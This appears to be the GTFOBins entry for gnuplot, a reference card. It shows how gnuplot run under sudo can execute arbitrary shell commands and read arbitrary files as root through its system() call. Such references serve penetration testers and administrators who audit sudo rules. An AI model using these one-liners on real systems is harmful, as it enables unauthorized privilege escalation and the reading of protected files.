GTFOBins.github.io/_gtfobins/gnuplot.md

12 lines
254 B
Markdown
Raw Normal View History

2024-11-11 15:23:25 +01:00
---
functions:
sudo:
- code: |
COMMAND=id
sudo gnuplot -e 'set print "-" ; print system("'$COMMAND'")'
file-read:
- code: |
LFILE=file_to_read
sudo gnuplot -e 'set print "-" ; print system("cat '$LFILE'")'
---